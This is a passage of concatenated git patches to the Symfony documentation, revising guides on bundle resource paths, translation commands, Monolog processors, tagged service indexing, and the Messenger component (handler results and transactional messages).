+In the past, we recommended to only use logical paths (e.g.
+``@AcmeBlogBundle/config/services.xml``) and resolve them with the
+:ref:`resource locator <http-kernel-resource-locator>` provided by the Symfony
+kernel, but this is no longer a recommended practice.
 
 Learn more
 ----------
diff --git a/bundles/override.rst b/bundles/override.rst
index a524780baa9..1e4926a1c76 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -5,14 +5,6 @@ When using a third-party bundle, you might want to customize or override some of
 its features. This document describes ways of overriding the most common
 features of a bundle.
 
-.. tip::
-
-    The bundle overriding mechanism means that you cannot use physical paths to
-    refer to bundle's resources (e.g. ``__DIR__/config/services.xml``). Always
-    use logical paths in your bundles (e.g. ``@FooBundle/Resources/config/services.xml``)
-    and call the :ref:`locateResource() method <http-kernel-resource-locator>`
-    to turn them into physical paths when needed.
-
 .. _override-templates:
 
 Templates
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 9c8d01da8af..5900a0c0b87 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -715,19 +715,17 @@ Locating Resources
 ------------------
 
 The HttpKernel component is responsible of the bundle mechanism used in Symfony
-applications. The key feature of the bundles is that they allow to override any
-resource used by the application (config files, templates, controllers,
-translation files, etc.)
-
-This overriding mechanism works because resources are referenced not by their
-physical path but by their logical path. For example, the ``services.xml`` file
-stored in the ``Resources/config/`` directory of a bundle called FooBundle is
-referenced as ``@FooBundle/Resources/config/services.xml``. This logical path
-will work when the application overrides that file and even if you change the
-directory of FooBundle.
-
-The HttpKernel component provides a method called :method:`Symfony\\Component\\HttpKernel\\Kernel::locateResource`
-which can be used to transform logical paths into physical paths::
+applications. One of the key features of the bundles is that you can use logic
+paths instead of physical paths to refer to any of their resources (config files,
+templates, controllers, translation files, etc.)
+
+This allows to import resources even if you don't know where in the filesystem a
+bundle will be installed. For example, the ``services.xml`` file stored in the
+``Resources/config/`` directory of a bundle called FooBundle can be referenced as
+``@FooBundle/Resources/config/services.xml`` instead of ``__DIR__/Resources/config/services.xml``.
+
+This is possible thanks to the :method:`Symfony\\Component\\HttpKernel\\Kernel::locateResource`
+method provided by the kernel, which transforms logical paths into physical paths::
 
     $path = $kernel->locateResource('@FooBundle/Resources/config/services.xml');
 

From f52c7f54c893cf5e87258a820ade5d4962a597c6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 20 Sep 2023 13:39:51 +0200
Subject: [PATCH 5189/7107] [Translation] Add --as-tree option to
 translation:pull command

---
 translation.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/translation.rst b/translation.rst
index 3d8bfb8a519..f465f8e7de1 100644
--- a/translation.rst
+++ b/translation.rst
@@ -762,6 +762,15 @@ now use the following commands to push (upload) and pull (download) translations
     # check out the command help to see its options (format, domains, locales, intl-icu, etc.)
     $ php bin/console translation:pull --help
 
+    # the "--as-tree" option will write YAML messages as a tree-like structure instead
+    # of flat keys
+    $ php bin/console translation:pull loco --force --as-tree
+
+.. versionadded:: 6.4
+
+    The ``--as-tree`` option of the ``translation:pull`` command was introduced
+    in Symfony 6.4.
+
 .. _translation-locale:
 
 Handling the User's Locale

From d390ee3cc87d76d284ce39d70efe6f32c13be342 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Sep 2023 10:50:08 +0200
Subject: [PATCH 5190/7107] [Monolog] Improve how processors are applied to
 single channels

---
 logging/processors.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index cbc039d992f..6954e9117c1 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -270,8 +270,8 @@ the ``monolog.processor`` tag:
 Registering Processors per Channel
 ----------------------------------
 
-You can register a processor per channel using the ``channel`` option of
-the ``monolog.processor`` tag:
+By default, processors are applied to all channels. Add the ``channel`` option
+to the ``monolog.processor`` tag to only apply a processor for the given channel:
 
 .. configuration-block::
 
@@ -281,7 +281,7 @@ the ``monolog.processor`` tag:
         services:
             App\Logger\SessionRequestProcessor:
                 tags:
-                    - { name: monolog.processor, channel: main }
+                    - { name: monolog.processor, channel: 'app' }
 
     .. code-block:: xml
 
@@ -297,7 +297,7 @@ the ``monolog.processor`` tag:
 
             <services>
                 <service id="App\Logger\SessionRequestProcessor">
-                    <tag name="monolog.processor" channel="main"/>
+                    <tag name="monolog.processor" channel="app"/>
                 </service>
             </services>
         </container>
@@ -309,7 +309,7 @@ the ``monolog.processor`` tag:
         // ...
         $container
             ->register(SessionRequestProcessor::class)
-            ->addTag('monolog.processor', ['channel' => 'main']);
+            ->addTag('monolog.processor', ['channel' => 'app']);
 
 .. _`Monolog`: https://github.com/Seldaek/monolog
 .. _`built-in Monolog processors`: https://github.com/Seldaek/monolog/tree/main/src/Monolog/Processor

From 29e7812d5eaab192456305c3a937c3610f38f8b6 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 20 Sep 2023 16:04:16 +0200
Subject: [PATCH 5191/7107] Use Doctor RST 1.49.0

---
 .doctor-rst.yaml          | 1 +
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 35125df61d6..dfb64c1ae8a 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -36,6 +36,7 @@ rules:
     no_directive_after_shorthand: ~
     no_duplicate_use_statements: ~
     no_explicit_use_of_code_block_php: ~
+    no_footnotes: ~
     no_inheritdoc: ~
     no_merge_conflict: ~
     no_namespace_after_use_statements: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 5364a72a526..44e17393aba 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.48.4
+                uses: docker://oskarstark/doctor-rst:1.49.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 41277a162fa2ae4672cfcf29f76916ba0b0905e1 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 20 Sep 2023 13:35:10 +0200
Subject: [PATCH 5192/7107] [Translation] Give current locale to
 LocaleSwitcher::runWithLocale()'s callback

---
 translation.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/translation.rst b/translation.rst
index 3d8bfb8a519..58c0112360c 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1069,10 +1069,25 @@ of:
 
             });
 
+            // you can optionally declare an argument in your callback to receive the
+            // injected locale
+            $this->localeSwitcher->runWithLocale('es', function(string $locale) {
+
+                // here, the $locale argument will be set to 'es'
+
+            });
+
             // ...
         }
     }
 
+.. versionadded:: 6.4
+
+    The support of declaring an argument in the callback to inject the locale
+    being used in the
+    :method:`Symfony\\Component\\Translation\\LocaleSwitcher::runWithLocale`
+    method was introduced in Symfony 6.4.
+
 When using :ref:`autowiring <services-autowire>`, type-hint any controller or
 service argument with the :class:`Symfony\\Component\\Translation\\LocaleSwitcher`
 class to inject the locale switcher service. Otherwise, configure your services

From 87cfeb784416c83cc5c26b7c7229aa84aa42b3eb Mon Sep 17 00:00:00 2001
From: miqrogroove <1371835+miqrogroove@users.noreply.github.com>
Date: Wed, 20 Sep 2023 10:38:31 -0400
Subject: [PATCH 5193/7107] Repair RST code block

---
 service_container/autowiring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index ef87d3670a6..daa1e96328b 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -719,7 +719,7 @@ to generate a closure with the same signature as a specific method of a service.
 this closure is called, it will pass all its arguments to the underlying service
 function.  If the closure needs to be called more than once, the service instance
 is reused for repeated calls.  Unlike a service closure, this will not
-create extra instances of a non-shared service.
+create extra instances of a non-shared service::
 
     // src/Service/MessageGenerator.php
     namespace App\Service;

From 0f169f36250a249069d574505907f38c6f7e9f3a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Sep 2023 08:55:11 +0200
Subject: [PATCH 5194/7107] [ExpressionLanguage] Reword the explanation about
 external injections

---
 components/expression_language.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index 192d5c2d134..e867f33a472 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -22,8 +22,8 @@ How can the Expression Language Help Me?
 ----------------------------------------
 
 The purpose of the component is to allow users to use expressions inside
-configuration for more complex logic. For some examples, the Symfony Framework
-uses expressions in security, for validation rules and in route matching.
+configuration for more complex logic. For example, the Symfony Framework uses
+expressions in security, for validation rules and in route matching.
 
 Besides using the component in the framework itself, the ExpressionLanguage
 component is a perfect candidate for the foundation of a *business rule engine*.
@@ -43,9 +43,10 @@ way without using PHP and without introducing security problems:
     # Send an alert when
     product.stock < 15
 
-Expressions can be seen as a very restricted PHP sandbox and are immune to
-external injections as you must explicitly declare which variables are available
-in an expression.
+Expressions can be seen as a very restricted PHP sandbox and are less vulnerable
+to external injections because you must explicitly declare which variables are
+available in an expression (but you should still sanitize any data given by end
+users and passed to expressions).
 
 Usage
 -----

From 87e5baa99a04e92d113dde6caded8ebc871813c2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Sep 2023 16:26:00 +0200
Subject: [PATCH 5195/7107] [DependencyInjection] Reword the explanation about
 index_by and default_index_method

---
 .../service_subscribers_locators.rst          | 81 ++++++++++---------
 service_container/tags.rst                    | 76 ++++++++---------
 2 files changed, 79 insertions(+), 78 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 1b152ac6d68..530519afd52 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -507,12 +507,15 @@ will share identical locators among all the services referencing them::
 Indexing the Collection of Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Services passed to the service locator can define their own index using an
-arbitrary attribute whose name is defined as ``index_by`` in the service locator.
+By default, services passed to the service locator are indexed using their service
+IDs. You can change this behavior with two options of the tagged locator (``index_by``
+and ``default_index_method``) which can be used independently or combined.
 
-In the following example, the ``App\Handler\HandlerCollection`` locator receives
-all services tagged with ``app.handler`` and they are indexed using the value
-of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
+The ``index_by`` / ``indexAttribute`` Option
+............................................
+
+This option defines the name of the option/attribute that stores the value used
+to index the services:
 
 .. configuration-block::
 
@@ -592,12 +595,13 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
 
             $services->set(App\Handler\HandlerCollection::class)
                 // inject all services tagged with app.handler as first argument
-                ->args([tagged_locator('app.handler', 'key')])
+                ->args([tagged_locator('app.handler', indexAttribute: 'key')])
             ;
         };
 
-Inside this locator you can retrieve services by index using the value of the
-``key`` attribute. For example, to get the ``App\Handler\Two`` service::
+In this example, the ``index_by`` option is ``key``. All services define that
+option/attribute, so that will be the value used to index the services. For example,
+to get the ``App\Handler\Two`` service::
 
     // src/Handler/HandlerCollection.php
     namespace App\Handler;
@@ -608,31 +612,25 @@ Inside this locator you can retrieve services by index using the value of the
     {
         public function __construct(ServiceLocator $locator)
         {
+            // this value is defined in the `key` option of the service
             $handlerTwo = $locator->get('handler_two');
         }
 
         // ...
     }
 
-Instead of defining the index in the service definition, you can return its
-value in a method called ``getDefaultIndexName()`` inside the class associated
-to the service::
-
-    // src/Handler/One.php
-    namespace App\Handler;
+If some service doesn't define the option/attribute configured in ``index_by``,
+Symfony applies this fallback process:
 
-    class One
-    {
-        public static function getDefaultIndexName(): string
-        {
-            return 'handler_one';
-        }
+#. If the service class defines a static method called ``getDefault<CamelCase index_by value>Name``
+   (in this example, ``getDefaultKeyName()``), call it and use the returned value;
+#. Otherwise, fall back to the default behavior and use the service ID.
 
-        // ...
-    }
+The ``default_index_method`` Option
+...................................
 
-If you prefer to use another method name, add a ``default_index_method``
-attribute to the locator service defining the name of this custom method:
+This option defines the name of the service class method that will be called to
+get the value used to index the services:
 
 .. configuration-block::
 
@@ -647,7 +645,7 @@ attribute to the locator service defining the name of this custom method:
         class CommandBus
         {
             public function __construct(
-                #[TaggedLocator('app.handler', 'key', defaultIndexMethod: 'myOwnMethodName')]
+                #[TaggedLocator('app.handler', defaultIndexMethod: 'getLocatorKey')]
                 ServiceLocator $locator
             ) {
             }
@@ -659,8 +657,9 @@ attribute to the locator service defining the name of this custom method:
         services:
             # ...
 
-            App\HandlerCollection:
-                arguments: [!tagged_locator { tag: 'app.handler', index_by: 'key', default_index_method: 'myOwnMethodName' }]
+            App\Handler\HandlerCollection:
+                # inject all services tagged with app.handler as first argument
+                arguments: [!tagged_locator { tag: 'app.handler', default_index_method: 'getLocatorKey' }]
 
     .. code-block:: xml
 
@@ -672,11 +671,11 @@ attribute to the locator service defining the name of this custom method:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-
                 <!-- ... -->
 
                 <service id="App\HandlerCollection">
-                    <argument type="tagged_locator" tag="app.handler" index-by="key" default-index-method="myOwnMethodName"/>
+                    <!-- inject all services tagged with app.handler as first argument -->
+                    <argument type="tagged_locator" tag="app.handler" default-index-method="getLocatorKey"/>
                 </service>
             </services>
         </container>
@@ -687,17 +686,27 @@ attribute to the locator service defining the name of this custom method:
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         return function(ContainerConfigurator $container) {
-            $container->services()
-                ->set(App\HandlerCollection::class)
-                    ->args([tagged_locator('app.handler', 'key', 'myOwnMethodName')])
+            $services = $container->services();
+            // ...
+
+            $services->set(App\Handler\HandlerCollection::class)
+                // inject all services tagged with app.handler as first argument
+                ->args([tagged_locator('app.handler', defaultIndexMethod: 'getLocatorKey')])
             ;
         };
 
-.. note::
+If some service class doesn't define the method configured in ``default_index_method``,
+Symfony will fall back to using the service ID as its index inside the locator.
+
+Combining the ``index_by`` and ``default_index_method`` Options
+...............................................................
+
+You can combine both options in the same locator. Symfony will process them in
+the following order:
 
-    Since code should not be responsible for defining how the locators are
-    going to be used, a configuration key (``key`` in the example above) must
-    be set so the custom method may be called as a fallback.
+#. If the service defines the option/attribute configured in ``index_by``, use it;
+#. If the service class defines the method configured in ``default_index_method``, use it;
+#. Otherwise, fall back to using the service ID as its index inside the locator.
 
 .. _service-subscribers-service-subscriber-trait:
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 92303bcd40b..c293998d85b 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -922,12 +922,15 @@ you can define it in the configuration of the collecting service:
 Tagged Services with Index
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you want to retrieve a specific service within the injected collection
-you can use the ``index_by`` and ``default_index_method`` options of the
-argument in combination with ``!tagged_iterator``.
+By default, tagged services are indexed using their service IDs. You can change
+this behavior with two options of the tagged iterator (``index_by`` and
+``default_index_method``) which can be used independently or combined.
 
-Using the previous example, this service configuration creates a collection
-indexed by the ``key`` attribute:
+The ``index_by`` / ``indexAttribute`` Option
+............................................
+
+This option defines the name of the option/attribute that stores the value used
+to index the services:
 
 .. configuration-block::
 
@@ -1012,10 +1015,9 @@ indexed by the ``key`` attribute:
             ;
         };
 
-After compilation the ``HandlerCollection`` is able to iterate over your
-application handlers. To retrieve a specific service from the iterator, call the
-``iterator_to_array()`` function and then use the ``key`` attribute to get the
-array element. For example, to retrieve the ``handler_two`` handler::
+In this example, the ``index_by`` option is ``key``. All services define that
+option/attribute, so that will be the value used to index the services. For example,
+to get the ``App\Handler\Two`` service::
 
     // src/Handler/HandlerCollection.php
     namespace App\Handler;
@@ -1026,43 +1028,23 @@ array element. For example, to retrieve the ``handler_two`` handler::
         {
             $handlers = $handlers instanceof \Traversable ? iterator_to_array($handlers) : $handlers;
 
+            // this value is defined in the `key` option of the service
             $handlerTwo = $handlers['handler_two'];
         }
     }
 
-You can omit the index attribute (``key`` in the previous example) by setting
-the ``index_by`` attribute on the ``tagged_iterator`` tag. In this case, you
-must define a static method whose name follows the pattern:
-``getDefault<CamelCase index_by value>Name``.
-
-For example, if ``index_by`` is ``handler``, the method name must be
-``getDefaultHandlerName()``:
-
-.. code-block:: yaml
+If some service doesn't define the option/attribute configured in ``index_by``,
+Symfony applies this fallback process:
 
-    # config/services.yaml
-        services:
-            # ...
+#. If the service class defines a static method called ``getDefault<CamelCase index_by value>Name``
+   (in this example, ``getDefaultKeyName()``), call it and use the returned value;
+#. Otherwise, fall back to the default behavior and use the service ID.
 
-            App\HandlerCollection:
-                arguments: [!tagged_iterator { tag: 'app.handler', index_by: 'handler' }]
+The ``default_index_method`` Option
+...................................
 
-.. code-block:: php
-
-    // src/Handler/One.php
-    namespace App\Handler;
-
-    class One
-    {
-        // ...
-        public static function getDefaultHandlerName(): string
-        {
-            return 'handler_one';
-        }
-    }
-
-You also can define the name of the static method to implement on each service
-with the ``default_index_method`` attribute on the tagged argument:
+This option defines the name of the service class method that will be called to
+get the value used to index the services:
 
 .. configuration-block::
 
@@ -1089,7 +1071,6 @@ with the ``default_index_method`` attribute on the tagged argument:
             # ...
 
             App\HandlerCollection:
-                # use getIndex() instead of getDefaultIndexName()
                 arguments: [!tagged_iterator { tag: 'app.handler', default_index_method: 'getIndex' }]
 
     .. code-block:: xml
@@ -1105,7 +1086,6 @@ with the ``default_index_method`` attribute on the tagged argument:
                 <!-- ... -->
 
                 <service id="App\HandlerCollection">
-                    <!-- use getIndex() instead of getDefaultIndexName() -->
                     <argument type="tagged_iterator"
                         tag="app.handler"
                         default-index-method="getIndex"
@@ -1127,7 +1107,6 @@ with the ``default_index_method`` attribute on the tagged argument:
 
             // ...
 
-            // use getIndex() instead of getDefaultIndexName()
             $services->set(HandlerCollection::class)
                 ->args([
                     tagged_iterator('app.handler', null, 'getIndex'),
@@ -1135,6 +1114,19 @@ with the ``default_index_method`` attribute on the tagged argument:
             ;
         };
 
+If some service class doesn't define the method configured in ``default_index_method``,
+Symfony will fall back to using the service ID as its index inside the tagged services.
+
+Combining the ``index_by`` and ``default_index_method`` Options
+...............................................................
+
+You can combine both options in the same collection of tagged services. Symfony
+will process them in the following order:
+
+#. If the service defines the option/attribute configured in ``index_by``, use it;
+#. If the service class defines the method configured in ``default_index_method``, use it;
+#. Otherwise, fall back to using the service ID as its index inside the tagged services collection.
+
 .. _tags_as-tagged-item:
 
 The ``#[AsTaggedItem]`` attribute

From aa840ec08fdbbbb9a33cb936260008de1ea22f68 Mon Sep 17 00:00:00 2001
From: Hugo Hamon <hhamon@users.noreply.github.com>
Date: Thu, 21 Sep 2023 09:33:07 +0400
Subject: [PATCH 5196/7107] [Notifier] remove extra backtick character

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 659f8f245ff..7ee3900e350 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -830,7 +830,7 @@ Using Events
     The ``MessageEvent``, ``FailedMessageEvent`` and ``SentMessageEvent`` were
     introduced in Symfony 5.4.
 
-The :class:`Symfony\\Component\\Notifier\\Transport`` class of the Notifier component
+The :class:`Symfony\\Component\\Notifier\\Transport` class of the Notifier component
 allows you to optionally hook into the lifecycle via events.
 
 The ``MessageEvent::class`` Event

From 847f4bf51c67f0362e7eed58553de3c519cb1390 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Sep 2023 13:26:30 +0200
Subject: [PATCH 5197/7107] [Messenger] Merge several short articles into the
 main Messenger article

---
 _build/redirection_map                   |   3 +
 components/messenger.rst                 |   2 +-
 messenger.rst                            | 513 ++++++++++++++++++++++-
 messenger/dispatch_after_current_bus.rst | 127 ------
 messenger/handler_results.rst            |  99 -----
 messenger/multiple_buses.rst             | 283 -------------
 6 files changed, 515 insertions(+), 512 deletions(-)
 delete mode 100644 messenger/dispatch_after_current_bus.rst
 delete mode 100644 messenger/handler_results.rst
 delete mode 100644 messenger/multiple_buses.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 049fca61d50..90303a53d75 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -562,3 +562,6 @@
 /frontend/assetic/index /frontend
 /controller/argument_value_resolver /controller/value_resolver
 /frontend/ux https://symfony.com/bundles/StimulusBundle/current/index.html
+/messenger/handler_results /messenger#messenger-getting-handler-results
+/messenger/dispatch_after_current_bus /messenger#messenger-transactional-messages
+/messenger/multiple_buses /messenger#messenger-multiple-buses
diff --git a/components/messenger.rst b/components/messenger.rst
index 58941811429..b93447d14fd 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -146,7 +146,7 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
    to delay handling of an asynchronous message.
 #. :class:`Symfony\\Component\\Messenger\\Stamp\\DispatchAfterCurrentBusStamp`,
    to make the message be handled after the current bus has executed. Read more
-   at :doc:`/messenger/dispatch_after_current_bus`.
+   at :ref:`messenger-transactional-messages`.
 #. :class:`Symfony\\Component\\Messenger\\Stamp\\HandledStamp`,
    a stamp that marks the message as handled by a specific handler.
    Allows accessing the handler returned value and the handler name.
diff --git a/messenger.rst b/messenger.rst
index 08319fe4377..3e6e60fd006 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1916,6 +1916,106 @@ on a case-by-case basis via the :class:`Symfony\\Component\\Messenger\\Stamp\\Se
     provides that control. See `SymfonyCasts' message serializer tutorial`_ for
     details.
 
+Getting Results from your Handlers
+----------------------------------
+
+When a message is handled, the :class:`Symfony\\Component\\Messenger\\Middleware\\HandleMessageMiddleware`
+adds a :class:`Symfony\\Component\\Messenger\\Stamp\\HandledStamp` for each object that handled the message.
+You can use this to get the value returned by the handler(s)::
+
+    use Symfony\Component\Messenger\MessageBusInterface;
+    use Symfony\Component\Messenger\Stamp\HandledStamp;
+
+    $envelope = $messageBus->dispatch(new SomeMessage());
+
+    // get the value that was returned by the last message handler
+    $handledStamp = $envelope->last(HandledStamp::class);
+    $handledStamp->getResult();
+
+    // or get info about all of handlers
+    $handledStamps = $envelope->all(HandledStamp::class);
+
+.. _messenger-getting-handler-results:
+
+Getting Results when Working with Command & Query Buses
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The Messenger component can be used in CQRS architectures where command & query
+buses are central pieces of the application. Read Martin Fowler's
+`article about CQRS`_ to learn more and
+:ref:`how to configure multiple buses <messenger-multiple-buses>`.
+
+As queries are usually synchronous and expected to be handled once,
+getting the result from the handler is a common need.
+
+A :class:`Symfony\\Component\\Messenger\\HandleTrait` exists to get the result
+of the handler when processing synchronously. It also ensures that exactly one
+handler is registered. The ``HandleTrait`` can be used in any class that has a
+``$messageBus`` property::
+
+    // src/Action/ListItems.php
+    namespace App\Action;
+
+    use App\Message\ListItemsQuery;
+    use App\MessageHandler\ListItemsQueryResult;
+    use Symfony\Component\Messenger\HandleTrait;
+    use Symfony\Component\Messenger\MessageBusInterface;
+
+    class ListItems
+    {
+        use HandleTrait;
+
+        public function __construct(
+            private MessageBusInterface $messageBus,
+        ) {
+        }
+
+        public function __invoke(): void
+        {
+            $result = $this->query(new ListItemsQuery(/* ... */));
+
+            // Do something with the result
+            // ...
+        }
+
+        // Creating such a method is optional, but allows type-hinting the result
+        private function query(ListItemsQuery $query): ListItemsQueryResult
+        {
+            return $this->handle($query);
+        }
+    }
+
+Hence, you can use the trait to create command & query bus classes.
+For example, you could create a special ``QueryBus`` class and inject it
+wherever you need a query bus behavior instead of the ``MessageBusInterface``::
+
+    // src/MessageBus/QueryBus.php
+    namespace App\MessageBus;
+
+    use Symfony\Component\Messenger\Envelope;
+    use Symfony\Component\Messenger\HandleTrait;
+    use Symfony\Component\Messenger\MessageBusInterface;
+
+    class QueryBus
+    {
+        use HandleTrait;
+
+        public function __construct(
+            private MessageBusInterface $messageBus,
+        ) {
+        }
+
+        /**
+         * @param object|Envelope $query
+         *
+         * @return mixed The handler returned value
+         */
+        public function query($query): mixed
+        {
+            return $this->handle($query);
+        }
+    }
+
 Customizing Handlers
 --------------------
 
@@ -2046,6 +2146,134 @@ A single handler class can handle multiple messages. For that add the
     is another way to handle multiple messages with one handler class. This
     interface was deprecated in Symfony 6.2.
 
+.. _messenger-transactional-messages:
+
+Transactional Messages: Handle New Messages After Handling is Done
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+A message handler can ``dispatch`` new messages while handling others, to either
+the same or a different bus (if the application has
+:ref:`multiple buses <messenger-multiple-buses>`). Any errors or exceptions that
+occur during this process can have unintended consequences, such as:
+
+#. If using the ``DoctrineTransactionMiddleware`` and a dispatched message throws
+   an exception, then any database transactions in the original handler will be
+   rolled back.
+#. If the message is dispatched to a different bus, then the dispatched message
+   will be handled even if some code later in the current handler throws an exception.
+
+An Example ``RegisterUser`` Process
+...................................
+
+Consider an application with both a *command* and an *event* bus. The application
+dispatches a command named ``RegisterUser`` to the command bus. The command is
+handled by the ``RegisterUserHandler`` which creates a ``User`` object, stores
+that object to a database and dispatches a ``UserRegistered`` message to the event bus.
+
+There are many handlers to the ``UserRegistered`` message, one handler may send
+a welcome email to the new user. We are using the ``DoctrineTransactionMiddleware``
+to wrap all database queries in one database transaction.
+
+**Problem 1:** If an exception is thrown when sending the welcome email, then
+the user will not be created because the ``DoctrineTransactionMiddleware`` will
+rollback the Doctrine transaction, in which the user has been created.
+
+**Problem 2:** If an exception is thrown when saving the user to the database,
+the welcome email is still sent because it is handled asynchronously.
+
+DispatchAfterCurrentBusMiddleware Middleware
+............................................
+
+For many applications, the desired behavior is to *only* handle messages that
+are dispatched by a handler once that handler has fully finished. This can be done by
+using the ``DispatchAfterCurrentBusMiddleware`` and adding a
+``DispatchAfterCurrentBusStamp`` stamp to :ref:`the message Envelope <messenger-envelopes>`::
+
+    // src/Messenger/CommandHandler/RegisterUserHandler.php
+    namespace App\Messenger\CommandHandler;
+
+    use App\Entity\User;
+    use App\Messenger\Command\RegisterUser;
+    use App\Messenger\Event\UserRegistered;
+    use Doctrine\ORM\EntityManagerInterface;
+    use Symfony\Component\Messenger\Envelope;
+    use Symfony\Component\Messenger\MessageBusInterface;
+    use Symfony\Component\Messenger\Stamp\DispatchAfterCurrentBusStamp;
+
+    class RegisterUserHandler
+    {
+        public function __construct(
+            private MessageBusInterface $eventBus,
+            private EntityManagerInterface $em,
+        ) {
+        }
+
+        public function __invoke(RegisterUser $command): void
+        {
+            $user = new User($command->getUuid(), $command->getName(), $command->getEmail());
+            $this->em->persist($user);
+
+            // The DispatchAfterCurrentBusStamp marks the event message to be handled
+            // only if this handler does not throw an exception.
+
+            $event = new UserRegistered($command->getUuid());
+            $this->eventBus->dispatch(
+                (new Envelope($event))
+                    ->with(new DispatchAfterCurrentBusStamp())
+            );
+
+            // ...
+        }
+    }
+
+.. code-block:: php
+
+    // src/Messenger/EventSubscriber/WhenUserRegisteredThenSendWelcomeEmail.php
+    namespace App\Messenger\EventSubscriber;
+
+    use App\Entity\User;
+    use App\Messenger\Event\UserRegistered;
+    use Doctrine\ORM\EntityManagerInterface;
+    use Symfony\Component\Mailer\MailerInterface;
+    use Symfony\Component\Mime\RawMessage;
+
+    class WhenUserRegisteredThenSendWelcomeEmail
+    {
+        public function __construct(
+            private MailerInterface $mailer,
+            EntityManagerInterface $em,
+        ) {
+        }
+
+        public function __invoke(UserRegistered $event): void
+        {
+            $user = $this->em->getRepository(User::class)->find($event->getUuid());
+
+            $this->mailer->send(new RawMessage('Welcome '.$user->getFirstName()));
+        }
+    }
+
+This means that the ``UserRegistered`` message would not be handled until
+*after* the ``RegisterUserHandler`` had completed and the new ``User`` was
+persisted to the database. If the ``RegisterUserHandler`` encounters an
+exception, the ``UserRegistered`` event will never be handled. And if an
+exception is thrown while sending the welcome email, the Doctrine transaction
+will not be rolled back.
+
+.. note::
+
+    If ``WhenUserRegisteredThenSendWelcomeEmail`` throws an exception, that
+    exception will be wrapped into a ``DelayedMessageHandlingException``. Using
+    ``DelayedMessageHandlingException::getExceptions`` will give you all
+    exceptions that are thrown while handling a message with the
+    ``DispatchAfterCurrentBusStamp``.
+
+The ``dispatch_after_current_bus`` middleware is enabled by default. If you're
+configuring your middleware manually, be sure to register
+``dispatch_after_current_bus`` before ``doctrine_transaction`` in the middleware
+chain. Also, the ``dispatch_after_current_bus`` middleware must be loaded for
+*all* of the buses being used.
+
 Binding Handlers to Different Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2278,7 +2506,7 @@ for each bus looks like this:
 #. ``add_bus_name_stamp_middleware`` - adds a stamp to record which bus this
    message was dispatched into;
 
-#. ``dispatch_after_current_bus``- see :doc:`/messenger/dispatch_after_current_bus`;
+#. ``dispatch_after_current_bus``- see :ref:`messenger-transactional-messages`;
 
 #. ``failed_message_processing_middleware`` - processes messages that are being
    retried via the :ref:`failure transport <messenger-failure-transport>` to make
@@ -2601,12 +2829,292 @@ Then your handler will look like this::
     The :class:`Symfony\\Component\\Messenger\\Stamp\\HandlerArgumentsStamp`
     was introduced in Symfony 6.2.
 
+.. _messenger-multiple-buses:
+
 Multiple Buses, Command & Event Buses
 -------------------------------------
 
